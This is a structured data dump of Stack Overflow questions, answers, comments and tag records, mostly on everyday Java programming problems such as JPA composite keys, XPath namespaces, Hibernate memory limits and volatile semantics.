has comment: http://stackoverflow.com/comment/33654579
downvote count: 0
has comment: http://stackoverflow.com/comment/33654614
score: 27
has comment: http://stackoverflow.com/comment/33654917
tagged with: arraylist
answer count: 3
has comment: http://stackoverflow.com/comment/33657803
has comment: http://stackoverflow.com/comment/33654842
has comment: http://stackoverflow.com/comment/33660081
has comment: http://stackoverflow.com/comment/33657590
tagged with: generics
favorite count: 0

http://stackoverflow.com/a/22261703
answers question: http://stackoverflow.com/q/22219151
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/33876111
upvote count: 1
has body: Clearly the documentation of the server is wrong in saying it only supports TLS via that port, and Clearly it is using the STARTTLS feature by which you start with a plaintext connection and can upgrade it to TLS by issuing the STARTTLS command.
score: 1

http://stackoverflow.com/q/22183015
tagged with: multithreading
has comment: http://stackoverflow.com/comment/33672206
has comment: http://stackoverflow.com/comment/33742820
has comment: http://stackoverflow.com/comment/33671737
has comment: http://stackoverflow.com/comment/33671575
possible better answer: http://stackoverflow.com/a/22183847
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22183847
tagged with: c10k
has answer: http://stackoverflow.com/a/22184392
has title: Threads sitting idle = bad?
has comment: http://stackoverflow.com/comment/33671342
tagged with: java
accepted answer: http://stackoverflow.com/a/22223935
has comment: http://stackoverflow.com/comment/33671237
has comment: http://stackoverflow.com/comment/33672271
has comment: http://stackoverflow.com/comment/33671172
has comment: http://stackoverflow.com/comment/33683497
has body: I want to support around 10,000 simultaneous HTTP clients on a small cluster of machines (as small as possible). I'd like to keep a connection to each client alive while the user is using the application, to allow the server to push updates. I believe that async IO is often recommended for these kinds of long-lived connections, to avoid having lots of threads sitting idle. But what are the issues in having threads sitting idle? I find the threaded model mentally easier to work with, but I don't want to do something that is going to cause me major headaches. I guess I'll have to experiment, but I wondered if anyone knows of any previous experiments along these lines?
linked to: http://stackoverflow.com/q/17593699
type: Question
has comment: http://stackoverflow.com/comment/33671476
upvote count: 12
downvote count: 0
has comment: http://stackoverflow.com/comment/33671444
tagged with: nio
has comment: http://stackoverflow.com/comment/33671222
has comment: http://stackoverflow.com/comment/33673059
has comment: http://stackoverflow.com/comment/33671392
has comment: http://stackoverflow.com/comment/33672331
score: 12
answer count: 3
has comment: http://stackoverflow.com/comment/33672090
has answer: http://stackoverflow.com/a/22223935
tagged with: asynchronous
has comment: http://stackoverflow.com/comment/33673212
favorite count: 0

http://stackoverflow.com/comment/33915194
has text: So I implemented my listener and set my GridView OnDrag listener to it. I am not picking up any drag events. Am I supposed assign this listener to each element in my custom adapter? I updated the code above
comment on: http://stackoverflow.com/a/22305810
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33689248
comment on: http://stackoverflow.com/q/22193158
score: 0
type: Comment
type: QuestionComment
has text: I write the option 2 is in a correct manner.But it show like this.I don't know why?

http://stackoverflow.com/comment/33847624
score: 0
has text: http://stackoverflow.com/questions/275944/how-do-i-count-the-number-of-occurrences-of-a-char-in-a-string
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22280713

http://stackoverflow.com/q/22168803
favorite count: 0
tagged with: jpa-2.0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22168916
tagged with: java
upvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/22168916
answer count: 1
tagged with: jpa
downvote count: 0
has body: This is my Entity class @EmbeddedId private AuthorWorkPKEmbedded embeddedId; @Column(name = "ColumnA") private String ColumnA; public AuthorWorkPKEmbedded getEmbeddedId() { return embeddedId; } public void setEmbeddedId(AuthorWorkPKEmbedded embeddedId) { this.embeddedId = embeddedId; } public String getColumnA() { return ColumnA; } public void setColumnA(String ColumnA) { this.ColumnA = ColumnA; } public AuthorWorkEmbedded() { } public AuthorWorkEmbedded(BigInteger bookId,BigInteger authorId) { this.embeddedId = new AuthorWorkPKEmbedded(bookId, authorId); } This is my Embeddable class @Embeddable @Column(name = "bookId", nullable = false) private BigInteger bookId; @Column(name = "authorId", nullable = false) private BigInteger authorId; public AuthorWorkPKEmbedded() { } public AuthorWorkPKEmbedded(BigInteger bookId, BigInteger authorId) { this.bookId = bookId; this.authorId = authorId; } public BigInteger getBookId() { return bookId; } public void setBookId(BigInteger bookId) { this.bookId = bookId; } public BigInteger getAuthorId() { return authorId; } public void setAuthorId(BigInteger authorId) { this.authorId = authorId; } @Override public int hashCode() { return bookId.hashCode() + authorId.hashCode(); } @Override public boolean equals(Object obj) { if (obj == this) { return true; } if (!(obj instanceof AuthorWorkPKEmbedded)) { return false; } if (obj == null) { return false; } AuthorWorkEmbedded pk=(AuthorWorkEmbedded) obj; return (((bookId==((AuthorWorkPKEmbedded)obj).getBookId())) &amp;&amp;((authorId==((AuthorWorkPKEmbedded)obj).getAuthorId()))); } This is my main class how set the composite values and why cant we use generatedvalue for autoincrement purpose and how to retrieve the values from the the database and one more thing where to declare other fields in Entity class or embeddable class and if not how to set and get the values from these 2 classes(entity and embeddable) EntityTransaction entr = em.getTransaction(); entr.begin(); AuthorWorkPKEmbedded…
has title: How to set and get values for Composite primary keys and other fields in jpa?
score: 1

http://stackoverflow.com/q/22170071
has comment: http://stackoverflow.com/comment/33651022
upvote count: 3
answer count: 2
downvote count: 0
possible better answer: http://stackoverflow.com/a/22175170
has comment: http://stackoverflow.com/comment/33648374
tagged with: http://stackoverflow.com/tag/xml
favorite count: 0
tagged with: xpath
has comment: http://stackoverflow.com/comment/33656578
has comment: http://stackoverflow.com/comment/33647445
tagged with: owl
has comment: http://stackoverflow.com/comment/33656264
accepted answer: http://stackoverflow.com/a/22184955
linked to: http://stackoverflow.com/q/17036871
has comment: http://stackoverflow.com/comment/33647553
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/33655773
has comment: http://stackoverflow.com/comment/33656015
tagged with: java
has body: Initially I have this file. &lt;rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"&gt; &lt;owl:Class /&gt; &lt;owl:Class /&gt; &lt;owl:ObjectProperty /&gt; &lt;Situation:Situation rdf:about"http://localhost/rdf#situa0"&gt; &lt;Situation:composedBy /&gt; &lt;/Situation:Situation&gt; &lt;/rdf:RDF&gt; My goal is to extract the node Situation and its content using xPath "RDF/Situation" ... &lt;Situation:Situation rdf:about"http://localhost/rdf#situa0"&gt; &lt;Situation:composedBy /&gt; &lt;/Situation:Situation&gt; I found a good example to work with in Java How to extract a complete XML block. I changed names of tags to my own since I use namespaces and predefined tags. Here's my code public static void main(String... args) throws Exception { String xml = "&lt;rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"&gt;&lt;owl:Class /&gt;&lt;owl:Class /&gt;&lt;owl:ObjectProperty /&gt;&lt;Situation:Situation rdf:about=\"http://localhost/rdf#situa0\" &gt;&lt;Situation:composedBy /&gt;&lt;/Situation:Situation&gt;&lt;/rdf:RDF&gt;"; DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); Document doc = dbf.newDocumentBuilder().parse( new InputSource(new StringReader(xml))); XPath xPath = XPathFactory.newInstance().newXPath(); Node result = (Node) xPath.evaluate("RDF/Situation", doc, XPathConstants.NODE); System.out.println(nodeToString(result)); } private static String nodeToString(Node node) throws TransformerException { StringWriter buf = new StringWriter(); Transformer xform = TransformerFactory.newInstance().newTransformer(); xform.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes"); xform.transform(new DOMSource(node), new StreamResult(buf)); return (buf.toString()); } My goal is 90% achieved but I have a problem, the Situation tag has an attribute about with a prefix rdf (the code works if I remove the prefix, and even if I added rdf xmlns in the root element) &lt;Situation:Situation rdf:about="http://localhost/rdf#situa0"&gt; I g…
has answer: http://stackoverflow.com/a/22184955
has comment: http://stackoverflow.com/comment/33655958
type: Question
has title: Namespace prefix not declared error after extracting a node in OWL/XML file with Java & xPath
linked to: http://stackoverflow.com/q/8979851
has answer: http://stackoverflow.com/a/22175170
has comment: http://stackoverflow.com/comment/33667880
has comment: http://stackoverflow.com/comment/33650895

http://stackoverflow.com/comment/33752380
type: QuestionComment
has text: As for the finished product, I just imagine something with ready to use algorithms that recommends exercise depending on the user's objectives. It will include a calorie counter, running monitor and walking monitor. The idea is to make it a way that developers can reuse the code to make different applications. As simple as that.
comment on: http://stackoverflow.com/q/22213988
score: 0
type: Comment

http://stackoverflow.com/q/22322233
tagged with: java
accepted answer: http://stackoverflow.com/a/22325325
has comment: http://stackoverflow.com/comment/33921699
type: Question
downvote count: 2
answer count: 2
has answer: http://stackoverflow.com/a/22325325
favorite count: 0
tagged with: runtime-error
has comment: http://stackoverflow.com/comment/33921781
upvote count: 5
has comment: http://stackoverflow.com/comment/33925345
has title: UVA Online Judge is returning runtime error that I can't find
has body: I've been attempting problem 100 on UVA: http://uva.onlinejudge.org/index.php?option=com_onlinejudge&amp;Itemid=8&amp;category=3&amp;page=show_problem&amp;problem=36 However, it keeps telling me that my code has runtime errors that I can't reproduce on my end. It works perfectly fine on my console. I've tried the solutions that other people have, but it's still not working. I even got rid of all public methods as specified. What other possible reasons are there that I could be getting this issue? Here is my code: import java.util.*; class Main { public static void main(String args[]){ int i =0; int j=0; Scanner input = new Scanner(System.in); i = input.nextInt(); j = input.nextInt(); while((i!=0)&amp;&amp;(j!=0)) { int tempMax = 0; for(int k =i; k &lt;= j; k++){ if (tempMax&lt;AlgStep(1,k)) tempMax=AlgStep(1,k); } System.out.println(i + " " + j + " " + tempMax); i = input.nextInt(); j = input.nextInt(); } } static boolean isEven(int n){ if(n%2==0) return true; else return false; } static boolean isOne(int n){ if(n==1) return true; else return false; } static int AlgStep(int count, int n){ int newCount; int m; if(isOne(n)) return count; if(isEven(n)){ m = n/2; newCount = count+1; } else{ m = (3*n)+1; newCount = count+1; } return AlgStep(newCount, m); } }
possible better answer: http://stackoverflow.com/a/22322612
has answer: http://stackoverflow.com/a/22322612
type: AnsweredQuestion
score: 3

http://stackoverflow.com/q/22169681
has title: Jaxb2 catalog file with relative paths
tagged with: java
tagged with: jaxb
type: Question
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/28543310
tagged with: catalog
tagged with: jaxb2
score: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/28543310
tagged with: xsd
has body: I'm trying to generate some Java code from quite a lot XSD's. Most of them work quite nicely, however I have trouble with one specific XSD which imports another XSD with a relative path. An example: &lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;schema xmlns:xmpl="http://example.com/this/is/namespace" xmlns="http://www.w3.org/2001/XMLSchema" targetNamespace="http://example.com/this/is/namespace"&gt; &lt;include schemaLocation="../../0301/required.xsd" /&gt; &lt;some&gt; ... xml ... &lt;/some&gt; &lt;/schema&gt; This is an anonymised XSD because of the client, of course. However, I have already build the other XSD which it is referring to in another module. Which is working great by the way. So now I want to resolve the include, but I'm currently unsuccesful. I have tried different and multiple catalogs, like so: &lt;!DOCTYPE catalog PUBLIC "-//OASIS//DTD Entity Resolution XML Catalog V1.0//EN" "http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd"&gt; &lt;catalog xmlns="urn:oasis:names:tc:entity:xmlns:xml:catalog" prefer="public"&gt; &lt;public publicId="required.xsd" uri="maven:com.geodan.imgeo:stuf!stuf0301!stuf/stuf0301.xsd" /&gt; &lt;public publicId="../../0301/required.xsd" uri="maven:com.project.example!module!folder/required.xsd" /&gt; &lt;public publicId="http://example.com/this/is/namespace/required.xsd" uri="maven:com.project.example!module!folder/required.xsd" /&gt; &lt;public publicId="http://example.com/this/is/namespace/../../required.xsd" uri="maven:com.project.example!module!folder/required.xsd" /&gt; &lt;public publicId="http://example.com/stuf0301.xsd" uri="maven:com.project.example!module!folder/required.xsd" /&gt; &lt;/catalog&gt; and -- Standard Catalog test file for Imgeo -- PUBLIC "http://example.com/this/is/namespace/required.xsd" "module/src/main/resources/folder/required.xsd" PUBLIC "../../0301/required.xsd" "module/src/main/resources/folder/required.xsd" PUBLIC "0301/required.xsd" "module/src/main/resources/folder/required…

http://stackoverflow.com/q/22191020
accepted answer: http://stackoverflow.com/a/22191242
upvote count: 0
has body: For the following class I want to access an object if the name equals to something, let's say "you". Otherwise I want to create it. I want to check if an object exists that has the name as 'you' and then add entries to the ArrayList contInstances. If such an instance doesn't already exist I want to create it. Next time I might have to use the same object so that I can add some more entries to the ArrayList. public class Values { String name; ArrayList&lt;anotherClass&gt; classInstances = new ArrayList&lt;anotherClass&gt;(); } This happens to be in a loop. How can I do that? Edit: I'll quote an example here: if (an object exists that contains field 'name' == 'YOU'){ add entries to the array list directly using the available object } else { create a new object and set the 'name' = 'YOU'; add entries to the array list; }
answer count: 1
has title: Can we dynamically create an object by checking existance?
favorite count: 0
has comment: http://stackoverflow.com/comment/33685501
has comment: http://stackoverflow.com/comment/33685555
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22191242
tagged with: java
downvote count: 2
has comment: http://stackoverflow.com/comment/33685268
has comment: http://stackoverflow.com/comment/33685512
type: Question
tagged with: object
has comment: http://stackoverflow.com/comment/33685273
score: -2

http://stackoverflow.com/q/22294100
has comment: http://stackoverflow.com/comment/33871913
tagged with: java
tagged with: hibernate
type: Question
has answer: http://stackoverflow.com/a/22294206
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/33871710
has comment: http://stackoverflow.com/comment/33871889
has comment: http://stackoverflow.com/comment/33871609
has body: I am fetching rows from a table for writing the rows to csv file, but this table contains more than 500,000 rows, so while fetching data it throws "heap out of memory" exception. How to handle this?
tagged with: oracle-database
has comment: http://stackoverflow.com/comment/33871924
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22294407
has comment: http://stackoverflow.com/comment/33871949
has title: Fetching 500K+ of rows from Oracle DB using Hibernate

http://stackoverflow.com/a/22279326
upvote count: 2
has comment: http://stackoverflow.com/comment/33856901
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/33853618
accepted answer of: http://stackoverflow.com/q/22277057
answers question: http://stackoverflow.com/q/22277057
has body: Typically, if activemq-all does not fit your needs, start with the activemq-client jar instead. The old activemq-broker jar was cut into several pieces some versions back. You might want the JMS specs included as well: org.apache.geronimo.specs geronimo-jms_1.1_spec 1.1.1
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33856601

http://stackoverflow.com/a/22196480
downvote count: 0
score: 13
answers question: http://stackoverflow.com/q/22196332
upvote count: 13
type: Answer
has body: always try to use YOUR_ACTIVITY_NAME.this because when you use only "this", it point to the current context . let say you are in OnClickListener , it is an anonymous class so, when you use this inside this. it will point to the button not to the activity. Therefore, you need to point towards activity by using activityname.this.

http://stackoverflow.com/comment/33765990
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/22234752
type: Comment
has text: `JButton button = (JButton)evt.getSource();`. Then you can get its text. [EventObject.getSource()](http://docs.oracle.com/javase/7/docs/api/java/util/EventObject.html#getSource%28%29).

http://stackoverflow.com/comment/33930158
has text: this is my first programming language.
comment on: http://stackoverflow.com/a/22327198
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/22286603
accepted answer of: http://stackoverflow.com/q/22286370
type: Answer
has body: Although I didn't want to implement random if-statements, I have to counteract the division by 0. The if-statement is as follows: if (lengthCountArrayLength == 0){ lengthCountArrayLength = 1; } Thank you for your comments. If you find a better way of doing this please do comment or leave a answer!
answers question: http://stackoverflow.com/q/22286370
score: 0
type: AcceptedAnswer

http://stackoverflow.com/a/22188398
type: Answer
has body: you can do something like this : void buttonPress(View v) { doWork(); } and from your receive handler you can call doWork(). so it remain same as what button press do and what your receive handler do. put your read file code and whatever else you want to do in doWork method.
score: 0
answers question: http://stackoverflow.com/q/22188238

http://stackoverflow.com/a/22187743
answers question: http://stackoverflow.com/q/22187355
type: Answer
has comment: http://stackoverflow.com/comment/33679666
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33679920
has body: This is probably failing because there is no newline at the end of the output. Also, it is not clear you have established a valid state before closing the connection. Remember that the socket is bidirectional, so if the client is trying to send something to you, it may be busy doing that when you are closing the connection. Also, why do you have the socket creation in a while( true ) loop? I would try doing the action once, not infinitely many times. Note that I think that an HTTP response is supposed have a line ending which is \r\n\r\n. Other than that I think there are no technical requirements. It just depends how forgiving the browser is. For example, the "h" might be getting confused with a normal response which begins "HTTP/1.0 200 OK". As long as you put the double Windows-style line endings you should get an output.
upvote count: 1

http://stackoverflow.com/comment/33851009
comment on: http://stackoverflow.com/q/22282710
has text: See http://stackoverflow.com/q/6633365/2040040
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/q/22186092
has comment: http://stackoverflow.com/comment/33713653
has comment: http://stackoverflow.com/comment/33677111
tagged with: java
has body: I was wondering why the parser portion(separated out) does not work. It is printing everything as if I did not add the parser. In my original code(not parser indicated), it converts (a)n or (a){n} to \pochhammer{a}{n} but it does not do this for patterns with nested parentheses inside the a. The parser is supposed to ignore the nested parentheses in something like "(a(b))n or (a(b)){n} and print out \pochhammer{a(b)}{n}. Thanks. while (scanner.hasNextLine()) { String line = scanner.nextLine(); Pattern cpochhammer = Pattern.compile("\\(([^)]+)\\)_\\{([^}]+)\\}"); Matcher pochhammer = cpochhammer.matcher(line); StringBuffer rplcmntBfr = new StringBuffer(); parser: char toCheck = '('; char toChecko = ')'; int count = 0; for (int i = 0; i &lt; line.length(); i++) { if (line.charAt(i) == toCheck) { count++; } if (line.charAt(i) == toChecko) { count--; } if (count == 0 &amp;&amp; line.indexOf(")_") == i) { Pattern dnestedParen = Pattern.compile("\\((.+)\\)_\\{([^}]+)\\}"); Matcher dmnestedParen = dnestedParen.matcher(rplcmntBfr.toString()); if (dmnestedParen.find()) dmnestedParen.appendReplacement(rplcmntBfr, "\\\\pochhammer{$1}{$2}"); } } end parser while (pochhammer.find()) { pochhammer.appendReplacement(rplcmntBfr, "\\\\pochhammer{$1}{$2}"); } pochhammer.appendTail(rplcmntBfr); Pattern npochhammer = Pattern.compile("\\(([^)]+)\\)_(.)"); Matcher ppochhammer = npochhammer.matcher(rplcmntBfr.toString()); rplcmntBfr.setLength(0); parser: count = 0; for (int i = 0; i &lt; line.length(); i++) { if (line.charAt(i) == toCheck) { count++; } if (line.charAt(i) == toChecko) { count--; } if (count == 0 &amp;&amp; line.indexOf(")_") == i) { Pattern nestedParen = Pattern.compile("\\((.+)\\)_(.)"); Matcher mnestedParen = nestedParen.matcher(rplcmntBfr.toString()); if(mnestedParen.find()) mnestedParen.appendReplacement(rplcmntBfr, "\\\\pochhammer{$1}{$2}"); } } end parser while (ppochhammer.find()) { ppochhammer.appendReplacement(rplcmntBfr, "\\\\pochhammer{$1}{$2}"); } ppochhammer.ap…
has comment: http://stackoverflow.com/comment/33676848
answer count: 1
has answer: http://stackoverflow.com/a/22186383
type: UnansweredQuestion
has title: Why isn't this parser for tracking parentheses working?
tagged with: regex
tagged with: parsing
score: 0
has comment: http://stackoverflow.com/comment/33677067
type: Question

http://stackoverflow.com/a/22312976
downvote count: 0
has comment: http://stackoverflow.com/comment/33906180
accepted answer of: http://stackoverflow.com/q/22312845
type: AcceptedAnswer
upvote count: 2
type: Answer
has comment: http://stackoverflow.com/comment/33905999
score: 2
has body: You could do it like this: Connection connRemote = null; Statement InsertRemoteResultsStmt = null; try { connRemote = DriverManager.getConnection("//my urls here"); // other stuff here } catch(SQLException ex) { InsertRemoteResultsStmt = connRemote.createStatement(); // error comes here } However, you cannot be sure that your connection object is valid within the catch clause. Consider reorganizing your code, for instance by nesting an additional try/catch statement within your try clause.
has comment: http://stackoverflow.com/comment/33905764
has comment: http://stackoverflow.com/comment/34009243
answers question: http://stackoverflow.com/q/22312845
has comment: http://stackoverflow.com/comment/34012294
has comment: http://stackoverflow.com/comment/34013287
has comment: http://stackoverflow.com/comment/33905862
has comment: http://stackoverflow.com/comment/34012773

http://stackoverflow.com/comment/65132390
comment on: http://stackoverflow.com/q/22295792
type: QuestionComment
has text: Similar question but going the other direction: [Converting a ldap date](http://stackoverflow.com/q/9806329/642706)
type: Comment
score: 1

http://stackoverflow.com/a/22297218
score: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/22296977
has body: Is this what you are looking for? Element element = doc.getDocumentElement(); CDATASection cdata = doc.createCDATASection("mycdata"); cdata.appendData("contents"); element.appendChild(cdata);
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22296977

output
tags question: http://stackoverflow.com/q/22284375
tags question: http://stackoverflow.com/q/22263989
tags question: http://stackoverflow.com/q/22216206
tags question: http://stackoverflow.com/q/22315041
tags question: http://stackoverflow.com/q/22186863
tags question: http://stackoverflow.com/q/22283005
tags question: http://stackoverflow.com/q/22233838
tags question: http://stackoverflow.com/q/22235067
tag name: output
tags question: http://stackoverflow.com/q/22220647
type: Tag
tags question: http://stackoverflow.com/q/22240511
tags question: http://stackoverflow.com/q/22214737
tags question: http://stackoverflow.com/q/22275010

http://stackoverflow.com/comment/33703195
comment on: http://stackoverflow.com/a/22201269
has text: damn, computer never lies.
type: AnswerComment
type: Comment
score: 1

http://stackoverflow.com/q/22200292
has answer: http://stackoverflow.com/a/22200441
tagged with: pass-by-reference
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33701480
score: 1
tagged with: java
possible better answer: http://stackoverflow.com/a/22200366
type: Question
upvote count: 1
has title: java - call by reference ambiguity
favorite count: 0
has answer: http://stackoverflow.com/a/22200632
answer count: 5
has answer: http://stackoverflow.com/a/22200355
accepted answer: http://stackoverflow.com/a/22200355
has answer: http://stackoverflow.com/a/22200366
duplicate of: http://stackoverflow.com/q/40480
downvote count: 0
has answer: http://stackoverflow.com/a/22200367
has body: I'm familiar with Call by reference concept in java but after seeing this code I'm confused public class App { public static void main( String[] args ) { Test t1 = new Test(1); Test t2 = new Test(8); App.doSomething(t1, t2); System.out.print(t1.a); System.out.print(t2.a); } public static void doSomething(Test t1, Test t2){ System.out.print(t1.a++); System.out.print(t2.a++); t1 = new Test(999); t2 = new Test(888); } } Prints: 1 8 2 9 Why does'nt value of "t1.a" and "t1.b" in the main function change to 888 and 999?
linked to: http://stackoverflow.com/q/40480

http://stackoverflow.com/comment/33792107
comment on: http://stackoverflow.com/a/22249852
score: 0
type: AnswerComment
type: Comment
has text: Now I´m trying with: <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:jee="http://www.springframework.org/schema/jee" xmlns:tx="http://www.springframework.org/schema/tx"

http://stackoverflow.com/q/22235928
accepted answer: http://stackoverflow.com/a/22235995
has comment: http://stackoverflow.com/comment/33766316
answer count: 3
has comment: http://stackoverflow.com/comment/33766352
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/33766312
upvote count: 1
has title: Static Imports in Java
has answer: http://stackoverflow.com/a/22235995
has answer: http://stackoverflow.com/a/22235982
type: AnsweredQuestion
score: 1
tagged with: java
has body: import static java.lang.Integer.*; import static java.lang.Long.*; public class StaticImortError { public static void main(String args []) { System.out.println(MAX_VALUE); } } Can anybody please explain why this program is showing compile time error, if I tried to use imports like import static java.lang.Integer.*; import static java.lang.Long.MAX_VALUE;, it ran fine and as expected displayed the maximum value of long data types, but with the above imports its showing error.
type: Question
possible better answer: http://stackoverflow.com/a/22235991
has answer: http://stackoverflow.com/a/22235991
tagged with: compilation

http://stackoverflow.com/a/22233836
score: 0
answers question: http://stackoverflow.com/q/22233736
type: Answer
has body: Don't want to repwhore, but this is how you would do that in 20 days after Java 8 comes out: list.forEach(e -&gt; System.out.println(e)); "e" represent particular String value in your list of String values. I think it's just wort mentioning and quite sweet approach.
has comment: http://stackoverflow.com/comment/33762631

http://stackoverflow.com/q/22316511
has body: I am having Xml file which contains about 50 Tables . All tables are linked to each other. 123 345 1 123 346 2 Can it be possible to query xml according to linking and fetch all required information? Please suggest what methods and API's will help me to do this job.
type: Question
has answer: http://stackoverflow.com/a/22320681
has comment: http://stackoverflow.com/comment/33912101
has answer: http://stackoverflow.com/a/22316565
has comment: http://stackoverflow.com/comment/33912282
tagged with: http://stackoverflow.com/tag/xml
has title: How to query Xml file using java
score: 0
answer count: 3
tagged with: java
has answer: http://stackoverflow.com/a/22316575
type: UnansweredQuestion
tagged with: xml-parsing
has comment: http://stackoverflow.com/comment/33911786

http://stackoverflow.com/a/22315221
answers question: http://stackoverflow.com/q/22297928
upvote count: 1
has comment: http://stackoverflow.com/comment/33919524
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/22297928
has body: My guess is that you are getting the two properties... exception is that in your real class you added the @XmlJavaTypeAdapter(DateAdapter.class) annotation on the get method instead of the field that has the @XmlAttribute annotation.
score: 1

http://stackoverflow.com/comment/33752499
comment on: http://stackoverflow.com/q/22228702
type: QuestionComment
has text: similar question: http://stackoverflow.com/questions/5403377/android-get-list-of-contacts-belonging-to-a-specific-group
score: 0
type: Comment

http://stackoverflow.com/comment/33755488
comment on: http://stackoverflow.com/q/22211330
score: 0
type: Comment
type: QuestionComment
has text: Thread.currentThread().getContextClassLoader().getResource("") returns app/target/classes, but the jar is in app/target/app/WEB-INF/lib. So how can the file be retrieved?

http://stackoverflow.com/comment/33677271
has text: I apologize for any inconvenience i have caused the community here. I'm a relatively new programmer and completely new to this site. I'm trying to follow rules as best I can but is also hard when all of this is new to me. I went to work on something else for a wile and came back to my program and now it seems to be fine. I wish I knew what was wrong before so I could post an answer. thanks guys! (how can I improve my next questions?)
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22184521
type: QuestionComment

http://stackoverflow.com/a/22224187
has comment: http://stackoverflow.com/comment/33781549
has comment: http://stackoverflow.com/comment/33783084
has comment: http://stackoverflow.com/comment/33783514
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/22223922
has comment: http://stackoverflow.com/comment/33784281
answers question: http://stackoverflow.com/q/22223922
has comment: http://stackoverflow.com/comment/33784792
upvote count: 1
has comment: http://stackoverflow.com/comment/33783549
has comment: http://stackoverflow.com/comment/33783073
score: 1
has body: Here's why, according to the article you have indicated: Volatile writes are considerably more expensive than nonvolatile writes because of the memory fencing required to guarantee visibility but still generally cheaper than lock acquisition. [...] volatile reads are cheap -- nearly as cheap as nonvolatile reads And that is, of course, true: memory fence operations are always bound to writing and reads execute the same way regardless of whether the underlying variable is volatile or not. However, volatile in Java is about much more than just volatile vs. nonvolatile memory read. In fact, in its essence it has nothing to do with that distinction: the difference is in the concurrent semantics. Consider this notorious example: volatile boolean runningFlag = true; void run() { while (runningFlag) { do work; } } If runningFlag wasn't volatile, the JIT compiler could essentially rewrite that code to void run() { if (runningFlag) while (true) { do work; } } The ratio of overhead introduced by reading the runningFlag on each iteration against not reading it at all is, needless to say, enormous.

http://stackoverflow.com/comment/33853590
type: Comment
comment on: http://stackoverflow.com/a/22242756
type: AnswerComment
has text: I would like to use it for my project. Please remove it
score: 0

http://stackoverflow.com/comment/33748580
type: Comment
comment on: http://stackoverflow.com/q/22224952
score: 0
has text: Did you check `RuntimeOptions.java` at https://github.com/cucumber/cucumber-jvm/blob/master/core/src/main/java/cucumber/runtime/RuntimeOptions.java
type: QuestionComment

http://stackoverflow.com/a/22414292
type: Answer
has comment: http://stackoverflow.com/comment/34109648
has body: If you are targeting api level 8 and above then you can't use a simple Activity, you need to extend FragmentActivity. I'm guessing this is the reason you have the inflating problem. And you are missing this meta-data section in you manifest file: &lt;meta-data android:name="com.google.android.gms.version" android:value="@integer/google_play_services_version" /&gt; place it next to your's api key meta-data section.
answers question: http://stackoverflow.com/q/22311005
score: 0

http://stackoverflow.com/comment/33763302
type: AnswerComment
has text: What about underlying implementation -- is it a linked in, Array ... can I tweak that?
type: Comment
comment on: http://stackoverflow.com/a/22234432
score: 0

http://stackoverflow.com/comment/33909562
score: 5
type: Comment
has text: and the question is what?
type: QuestionComment
comment on: http://stackoverflow.com/q/22315106

http://stackoverflow.com/q/22294129
has comment: http://stackoverflow.com/comment/33871575
has answer: http://stackoverflow.com/a/27364495
answer count: 2
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/33871652
tagged with: parsing
has answer: http://stackoverflow.com/a/22294370
type: UnansweredQuestion
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/33871583
score: 1
tagged with: simpledateformat
has body: In locale machine I have this code and it is executing fine.. DateFormat stdf = new SimpleDateFormat( "EEE MMM dd yyyy HH:mm:ss zZ (zzzz)"); String date = "Sun Mar 16 2014 10:30:00 GMT 0530 (India Standard Time)" Calendar stcal = Calendar.getInstance(); try { stcal.setTime(stdf.parse(date.replace("GMT ", "UTC+"))); } catch (ParseException e) { // TODO Auto-generated catch block e.printStackTrace(); } But I have running the same code in remote machine which is in Amazon server which gives following parsing error, java.text.ParseException: unparseable date: "Sat March 15 2014 09:00:00 UTC+1000&lt;E. Australia Standard Time&gt;"
tagged with: java
has title: Java simple date formatter parse exception in remote machine
tagged with: date

http://stackoverflow.com/comment/33835013
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22273893
type: AnswerComment
has text: I get this exception `org.hibernate.TransientObjectException: object references an unsaved transient instance - save the transient instance before flushing` as the child is not saved...

http://stackoverflow.com/q/22291887
score: 0
tagged with: colors
has answer: http://stackoverflow.com/a/22291923
answer count: 1
